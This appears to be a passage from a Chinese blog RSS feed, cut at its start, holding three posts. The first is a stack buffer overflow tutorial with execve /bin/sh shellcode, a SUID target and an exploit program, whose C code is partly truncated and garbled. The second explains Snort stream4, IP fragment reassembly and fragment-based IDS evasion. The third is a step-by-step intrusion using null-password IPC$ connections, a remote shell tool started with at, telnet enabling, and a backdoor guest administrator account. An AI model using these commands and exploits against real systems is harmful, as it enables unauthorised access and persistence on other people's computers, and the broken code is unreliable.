<br><br>EIP指向我们想要的地址去执行。然后，当函数返回的时候，程序就会改变运行流程到我们的恶意代码。 <br><br>　 <br><br>然而，要精确定位返回地址的位置也并不是那么容易。 <br><br>覆盖整个内存区域是非常简单的，我们可以为每四个字节都填上指令地址，这样，可以增加覆盖的精确性。 <br><br>. <br>在内存区域中定位shellcode的地址也不是一件容易的事情。我们需要计算出堆栈指针到缓冲区的距离，但是我们只知道问题程序的缓冲区的位置（通过反汇编取得）。所以，我们把shellcode放到缓冲区的中间，然后在缓冲区的起始位置开始填充NOP指令。NOP指令什么也不做，这可以增加我们猜测shellcode地址的命中率，这样即使我们的猜测地址落在了NOP上，那么就会继续往下直到找到我们的shellcode为止。 <br><br>图解 <br>在上一节中，我们示范了如何通过覆盖缓冲区来达到访问内存的方法，现在，让我们再来会议一下一个函数调用是如何工作的。如图2.1。 <br><br><wbr /><a href="http://www.e4gle.org/images/sip.jpg" target="_blank"><img style="border:0;" src="http://www.e4gle.org/images/sip.jpg" /></a><wbr /> <br>图 2.1: 函数调用   <br><br>从以上例子和我们先前的例子中我们可以看出：假如一个函数允许我们拷贝任意字节到一个缓冲区中的话，这很有可能导致我们可以覆盖到环境变量地址，甚至此函数的返回地址即下一条执行指令的地址。 <br><br>　 <br><br>利用这种方法我们可以执行放置在内存中的任意恶意代码，这需要足够的缓冲区来包含我们的shellcode代码，如果不足够大， <br><br>会导致段错误。。。 <br><br>　 <br><br>所以，当函数返回的时候，我们覆盖的地址会拷贝到EIP中，并且将指向我们溢出的目标缓冲区；然后，函数一旦结束，我们的恶意质量将被执行。 <br><br>简单演示 <br>这里给出一个缓冲溢出的简单演示。 <br><br>. <br>shellcode作为变量将被拷贝进入我们想要溢出的缓冲区，其实就是x86操作码。为了使该程序更具危害性，我们给该演示程序加上SUID权限，这样我们可以直接通过该漏洞程序得到root权限。 <br><br>#include ; <br>#include ; <br><br>char shellcode[] = <br>    &quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot; <br>    &quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot; <br>    &quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;&amp;#59; <br><br>char large_string[128]&amp;#59; <br><br>int main(int argc, char **argv){ <br>    char buffer[96]&amp;#59; <br>    int i&amp;#59; <br>    long *long_ptr = (long *) large_string&amp;#59; <br><br>   <br>    for (i = 0&amp;#59; i ; <br>#include ; <br><br>int main(int argc, char **argv){ <br>  char buffer[96]&amp;#59; <br>   <br>  printf(&quot;- %p -\n&quot;, &amp;buffer)&amp;#59; <br>  strcpy(buffer, getenv(&quot;KIRIKA&quot;<wbr /><a href="http://bbs.chinaunix.net/images/smilies/icon_wink.gif" target="_blank"><img style="border:0;" src="http://bbs.chinaunix.net/images/smilies/icon_wink.gif" /></a><wbr />)&amp;#59; <br><br>  return 0&amp;#59; <br>} <br><br>为了便于测试，我们打印出缓冲区的地址，在实际操作中，这个地址我们可以利用gdb或者暴力猜解来得到。 <br><br>　 <br><br>当getenv返回KIRIKA环境变量时，它将被拷贝进溢出的缓冲区，从而拿到一个shell。 <br><br>. <br>这是攻击程序 (exe.c): <br>#include ; <br>#include ; <br><br>extern char **environ&amp;#59; <br><br>int main(int argc, char **argv){ <br>    char large_string[128]&amp;#59; <br>    long *long_ptr = (long *) large_string&amp;#59; <br>    int i&amp;#59; <br>    char shellcode[] = <br>      &quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot; <br>      &quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot; <br>      &quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;&amp;#59; <br>    for (i = 0&amp;#59; i <br><br></span><wbr /></span><wbr /></span><wbr /></span><wbr /></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[流程原理]]></category>
<author><![CDATA[896376374@qq.com((*^__^*))]]></author>
<comments>http://896376374.qzone.qq.com/blog/1209657369#comment</comments>
<qz:effect>577</qz:effect>
<pubDate>Thu, 01 May 2008 15:56:09 GMT</pubDate>
<guid>http://896376374.qzone.qq.com/blog/1209657369</guid>
</item>

<item>
<title><![CDATA[stream4的工作过程及原理，流程。]]></title>
<link>http://896376374.qzone.qq.com/blog/1209656784</link>
<description><![CDATA[<wbr /><img transImg="1" style="width:441px; height:294px;border:0;" src="http://sz.photo.store.qq.com/rurl2=d94eb5026983fba41d15c98c92a33535197251a9b5b1fdc8ad507f9f6d49412d5fa6b252946a2dcfcb3248410d643f689a8d08a2e99c6d0ce746c11794fe9de18d497823721a48e77afcbd5f0b8e45e77ad4755e" /><wbr /><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">描述stream4的工作过程及原理，流程等 </span><wbr /><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">stream4可以检测的何种入侵及攻击（看其规则） <br>stream4及其相关插件共同工作可以检测哪些种类的攻击，构成一个列表 <br>stream4的规则有哪些？？？察看snort.conf文件</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">根据规则添加或修改相关的stream4的检测规则 <br>并且可以检测出额外类型的攻击（添加新状态，构成新规则）</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">IP碎片：</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">在ip包头中，identification 16位的标志符  代表一个分组 <br>      offset:偏移量  代表一个分片在一个分组中的位置 <br>当一个路由器分割一个IP分组时，16位的标志符是必须复制的段，它能够唯一地标志一个IP分组，使目的主机能够判断每个碎片所属的IP分组，而且每个碎片中都偏移值，用来标记素片在IP分组中的位置</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">IP碎片通常会按照顺序到达目的地，最后的碎片的MF位为0(表示这是最后一个碎片)</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">碎片重叠问题 <br>　　 <br>　　　　目前，主要有两种技术用于逃避检测设备的监视。第一种就是使用尽可能小的碎片，例如：每个碎片只有8个字节(碎片最小8个字节)，而每个碎片中都没有足够的信息，从而逃过检测。 <br>　　 <br>　　　　另外一种方式就是碎片重叠。在IP分组中有一个13位的域(fragment offset)，标识每个碎片在原始IP分组中的偏移。构造错误的碎片偏移值，可能造成碎片的重叠</span><wbr /> <br><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">tcp流重组：</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">重组TCP数据流需要进行序列号跟踪，但是如果在传输过程中丢失了很多报文，就可能使入侵检测系统无法进行序列号跟踪。如果没有恢复机制，就可能使入侵检测系统不能同步监视TCP连接。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">最主要的问题是入侵检测系统必须知道被监视系统宣布的窗口大小。TCP包头的窗口域标识TCP连接接收方能够接收的数据数量，能够防止发送方向自己的缓冲区发送太多数据。如果收到的数据数量超过窗口的大小，这些数据就会被丢弃。而且，入侵检测系统对窗口的反应比受监视系统的反应要慢些。如果在两者不一致的期间有报文到达就会造成问题。 <br>　　 <br>　　　　另外，攻击者发送一些序列号相同而负载不同的报文也会对入侵检测系统的TCP流重组造成问题，这些序列号相同的报文包头的各个域完全相同(除了校验和域)。很显然，接收方只会处理所有序列号相同的报文中的一个，其它的都会被丢弃。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">数据重叠 <br>　　 <br>　　　　和IP碎片一样，TCP报文段也可能非顺序到达，也存在重叠数据覆盖问题。而且，究竟是新到数据覆盖先到数据也由接收方操作系统决定</span><wbr /> <br><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">与包过滤防火墙不同的是，状态检测防火墙是基于会话信息做出决策的，而不是包的信息；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">状态检测防火墙验证进来的数据包时，判断当前数据包是否符合先前允许的会话，并在状态表中保存这些信息。状态检测防火墙还能阻止基于异常TCP的网络层的攻击行为。网络设备，比如路由器，会将数据包分解成更小的数据帧，因此，状态检测设备，通常需要进行IP数据帧的重组，按其原来顺序组装成完整的数据包。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">分段</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">对于不同的网络，其中传送的包大小可能不一样，因此把大包分小的功能是必须的。数据报也可以被标记为“不可分段”，如果一个数据报被如何标记了，那么在任何情况下都不准对它进行分段。如果不分段到不了目的地，那就把包在半路抛弃了。在本地网内进行的重新分段和重组对IP模块是不可见的，这种方法也可以使用。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">本地网分段和重组把重组的各段加上标记，接收方使用这些标记使不同的段区别开来。段偏移量域告诉接收方应该把这一段放在什么地方，多段标记指示最后一个段，利用不同的域完全可以重组一个数据报。标记域是用于唯一标记数据报的，它是最初的发送方设置，而且要保证数据报在网络传输的全过程中它中唯一的。最初的发送方把多段标记设置为零，段偏移量设置为零。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">我们假设IP模块把一个大数据报分为两个小的，IP模块首先取得数据报头，再分隔数据为两份，将数据报头加在两份数据上。分隔数据时以8个字节为单位，第二段不一定是8个字节，但第一个必须是。我们把第一段中的8位字节数称为段块数（NFB）。新生成的第一个数据报内是生成的第一段数据，设置多段标记为1；新生成的第二个数据报内是生成的第二段数据，多段标记等于原来数据报内的值，段偏移量等于原数据报中的值加上NFB。上述过程可以从2扩展至N的情况。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">对段的重组要求以下四个域有相同的值：标记，源地址，目标地址和协议。将不同的数据报根据自己带的偏移量重新组合为新段，第一个段的偏移量为0，最后一个段的多段标记为0。</span><wbr /> <br><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">分段和重组</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">Internet 标记域（ID）和源地址，目的地址和协议域一起用于确认数据报分段和重组。如果数据报不是最后一段，则设置多段标记位（MF）。段偏移域标记段位置，它是相对于未分段时的数据报而言的。段以8个字节为单位，这样的分段策略使未分段的数据报有全零的分段信息（MF = 0，段偏移= 0）。如果进行分段，边界必须是8个字节的倍数。这种格式允许2的13次方（8192）个8字节段，一个数据报的最大长度刚好和长度域标明的数据64K一致。在分段时，有些选项被复制，有些则不。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">每个IP模块必须能够不分段地传送68字节的数据报。这因为IP包头会达到60字节，而最小数据段长为8，68=60+8；而它也必须能够接收576字节的数据，不论这数据是未分段的还是分段的。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">会被分段影响的域包括： </span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(1) 选项域</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(2) 多段标记</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(3) 段偏移</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(4) Internet包头长度域</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(5) 总长度域</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(6) 包头校验码</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">如果设置了不分段标记（DF），则不可进行分段，即使数据报会因此而被抛弃。如果接收主机不能进行重组时则需要设置此位。我们在进行无盘引导时，则需要设置这一位。下面通过例子说明这一过程。其中#代表不等于，X到Y指的是包括X，而不包括Y的所有数据。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">能够在下一个网络传送的最大数据报称为最大传输单元（MTU）。如果数据报的长度小于等于MTU，进行下一步；否则分为两段，第一段的大小等于MTU，第二段就是剩余的长度，将第一段传送，如果第二段仍然大于MTU，则重复分段过程，直到可以发送为止。下面我们给出一个定义：</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">FO - 段偏移</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">IHL - Internet包头长度</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">DF - 不分段标记</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">MF - 多段标记</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">TL - 总长度</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">OFO - 原段偏移</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">OIHL - 原Internet包头长度</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">OMF - 原多段标记</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">OTL - 原总长度</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">NFB - 段数</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">MTU - 最大传输单元</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">过程：</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">IF TL &lt;= MTU THEN 将此数据报提交给下一处理阶段</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">ELSE IF DF = 1 THEN 抛弃数据报</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">ELSE 产生第一段：</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(1) 复制源internet包头； </span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(2) OIHL &lt;- IHL；OTL &lt;- TL；OFO &lt;- FO；OMF &lt;- MF；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(3) NFB &lt;- (MTU-IHL*4)/8；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(4) 附加第一个NFB*8个数据字节；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(5) 校正包头：MF &lt;- 1；TL &lt;- (IHL*4)+(NFB*8)；重新计算校验码；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(6) 提交数据段到下一个数据报处理阶段；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">如果要产生第二个段：</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(7) 有选择地复制internet头；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(8) 附加剩余数据；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(9) 校正包头：IHL &lt;- (((OIHL*4)-(未复制的选项长度))+3)/4；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">TL &lt;- OTL - NFB*8 - (OIHL-IHL)*4)；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">FO &lt;- OFO + NFB；MF &lt;- OMF；重新计算校验码； </span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">(10) 将此段提交分段检测；结束。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">上例中除了最后一段外，其它段都达到了MTU的大小，各种实现不同，只要能够得到的段小于等于MTU就可以了。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">重组过程例子</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">对于每个数据报，缓冲区标记是由源地址，目的地址，协议和标记域一起确认的。如果数据报未分段，那就不需要进行重组，处理进行下一阶段。重组需要的数据结构有：数据缓冲区，包头缓冲区，段块位表，数据长度域和计数器。段中的数据根据段偏移和长度放在相应位置，段块标准表中的相应位根据接收的段块被设置。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">如果是第一段（段偏移为0），将包头放于包头缓冲区；如果是最后一段（多段标记为0），计算数据总长度。如果接收完了整个数据报，进行下一处理阶段；如果没有接收完，设置计数器值为当前计数器和此段中保存的生存时间之间比较在的一个，重组函数放弃控制权。如果超时释放所有缓冲区。计数器的初值是重组等待时间的下限。因为如果到达段中的生存时间大于计数器当前值等待时间增加，如果小于则不会减少。计数器的最大时间可以达到最大生存时间（大约为4.25分）。如果设置为15秒可能比较好，当然随着实践，这个值可能会有更改。这个值的选择和缓冲区的大小和传输媒介有关，传输速度乘于计数器值等于缓冲区大小。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">定义：</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">FO - 段偏移</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">IHL - Internet包头长度</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">MF - 多段标记</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">TTL - 生存时间</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">NFB - 段块数</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">TL - 总长度</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">TDL - 总数据长度</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">BUFID - 缓冲区标记</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">RCVBT - 段接收位表</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">TLB - 计数器下限</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">过程： </span><wbr /><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">如果到达的数据段中的数据有部分或全部相同，上面的过程会使用数据的最新版本。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">标记</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">标记是为了对特定数据报的段提供唯一的标记。如果数据报拥有相同的源地址，目的地址，协议和标记，IP模块会把他们认定是同一数据报。选择的任何由发送方担任。发送协议模块需要保持一个标记表，每个目的地址保持一个表项。然而，因此标记域允许65536个不同的值，有些主机能够不考虑目的地仍然可以达到标记唯一的目的。高层协议也可以使用标记。</span><wbr /> <br><br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">服务类型</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">服务类型（TOS）是网络服务质量的选择。服务类型是由抽象参数确定的优先级，时延，吞吐量和可靠性的结合物。这些参数和一些实际对应的网络服务对应。对于什么是时延，什么是吞吐量之类的定义这里就不多说了。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">生存时间</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">生存时间由发送者设置，是数据报在网络中最长的生存时间，如果超时会抛弃数据报。网络中每个结点都会处理存在于包头中的生存时间。此域的最少减少量为1，单位是秒。因此，最长的生存时间为255秒。每个处理模块必须对TTL减1，即使所使用的时间少于一秒也是如此。高层可靠连接协议是基于原重复数据报将不会在特定时间后到达，TTL是为了满足这样假设而存在。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">选项</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">选项中数据报中是可选的，但在实现中必须有的。有没有选项是发送者说了算，每个IP模块必须能够分析每个选项，每个选项域有多个选项。选项可能没有达到32位的边界，不足的以零填充以达到32位的倍数。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">校验码</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">如果包头发生改变必须重新计算包头校验码，校验码可以在一定程度上杜绝传输错误。有些应用程序允许数据报中的数据出错，如果IP强调数据正确性，类似的应用程序也就用不成了。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">错误</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">IP协议错误可由ICMP协议报告。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">3.3. 接口</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">接口的描述是功能性的，这个描述的具体实现机制会因为操作系统的不同而不同。不同的IP实现会有不同的用户接口。但是起码的子集是所有实现必须支持的。本节将描述这个基本子集。IP协议有上下有两个接口，一个是面向本地网络的，另一个是面向高层协议或应用程序的，我们称后一个接口为用户。虽然IP协议是数据报协议，所以用于保存状态的资源（内存）很少。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">下面是一个高层接口范例：</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">SEND (src, dst, prot, TOS, TTL, BufPTR, len, Id, DF, opt =&gt; result)</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">上式中：</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">src = 源地址</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">dst = 目的地址</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">prot = 协议</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">TOS = 服务类型</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">TTL = 生存时间</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">BufPTR = 缓冲区指针</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">len = 缓冲区长度</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">Id = 标记</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">DF = 不分段</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">opt = 选项数据</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">result = 响应，响应分为OK和Error两种；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">OK = 发送成功</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">Error = 参数错误或本地网络错误</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">优先级和安全性参数在选项中传送。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">RECV (BufPTR, prot, =&gt; result, src, dst, TOS, len, opt)</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">上式中：</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">BufPTR = 缓冲区指针</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">prot = 协议</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">result = 响应，响应分为OK和Error两种；</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">OK = 发送成功</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">Error = 参数错误</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">len = 缓冲区长度</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">src = 源地址</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">dst = 目标地址</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">TOS = 服务类型</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">opt = 选项数据</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">当用户发送数据报时，他执行SEND命令。IP模块在收到调用时，检查传送来的参数并准备发送数据。如果参数合法而且本地网络正常接收数据，返回成功。如果参数不合法，或本地网络未接收数据，返回不成功。在未成功时会返回报告，报告内容会因实现不同而不同。</span><wbr /> <br><span style="color:#00ff00;font-size:16px;font-family:'黑体';line-height:1.8em;">当数据报到达IP模块时，要么有一个RECV调用要么没有。如果有这个调用会传送信息给用户；如果没有，通知用户信息到达。如果没有找到应该通知的用户，返回ICMP错误，抛弃数据。通知用户可以通过假中断或类似的机制，这视操作系统不同而不同。源地址包括在发送调用中，IP模块可以检查源地址是否是一个合法地址。</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[流程原理]]></category>
<author><![CDATA[896376374@qq.com((*^__^*))]]></author>
<comments>http://896376374.qzone.qq.com/blog/1209656784#comment</comments>
<qz:effect>67109440</qz:effect>
<pubDate>Thu, 01 May 2008 15:46:24 GMT</pubDate>
<guid>http://896376374.qzone.qq.com/blog/1209656784</guid>
</item>

<item>
<title><![CDATA[经典IPC$入侵]]></title>
<link>http://896376374.qzone.qq.com/blog/1209276120</link>
<description><![CDATA[1. C:\&gt;net use $&quot;&gt;\\127.0.0.1\IPC$ &quot;&quot; /user:&quot;admintitrators&quot;　　这是用&quot;流光&quot;扫到的用户名是administrators，密码为&quot;空&quot;的IP地址(气好到家如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为&quot;空&quot;，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。<br>　　2. C:\&gt;copy srv.exe $&quot;&gt;\\127.0.0.1\admin$<br>　　先复制srv.exe上去，在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了)。<br>　　3. C:\&gt;net time file://127.0.0.1/<br>　　查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。<br>　　4. C:\&gt;at file://127.0.0.1/ 11:05 srv.exe<br>　　用at命令启动srv.exe吧(这里设置的时间要比主机时间快，不然你怎么启动啊.<br>　　5. C:\&gt;net time file://127.0.0.1/<br>　　再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。<br>　　6. C:\&gt;telnet 127.0.0.1 99<br>　　这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。<br>　　虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活!所以我们打算建立一个Telnet<a href="http://www.3800hk.com/" target="_blank">服务</a><wbr />!这就要用到ntlm了<br>　　7.C:\&gt;copy ntlm.exe $&quot;&gt;\\127.0.0.1\admin$<br>　　用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。<br>　　8. C:\WINNT\system32&gt;ntlm<br>　　输入ntlm启动(这里的C:\WINNT\system32&gt;指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行)。当出现&quot;DONE&quot;的时候，就说明已经启动正常。然后使用&quot;net start telnet&quot;来开启Telnet<a href="http://www.3800hk.com/" target="_blank">服务</a><wbr />!<br>　　9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)为了以防万一,我们再把guest激活加到管理组<br>　　10. C:\&gt;net user guest /active:yes<br>　　将对方的Guest用户激活<br>　　11. C:\&gt;net user guest 1234<br>　　将Guest的密码改为1234,或者你要设定的密码<br>　　12. C:\&gt;net localgroup administrators guest /add<br>　　将Guest变为Administrator^_^(如果管理员密码更改，guest<a href="http://www.3800hk.com/" target="_blank">帐号</a><wbr />没改变的话，下次我们可以用guest再次访问这台计算机) <!--v:3.2--> ]]></description>
<category><![CDATA[命令]]></category>
<author><![CDATA[896376374@qq.com((*^__^*))]]></author>
<comments>http://896376374.qzone.qq.com/blog/1209276120#comment</comments>
<qz:effect>576</qz:effect>
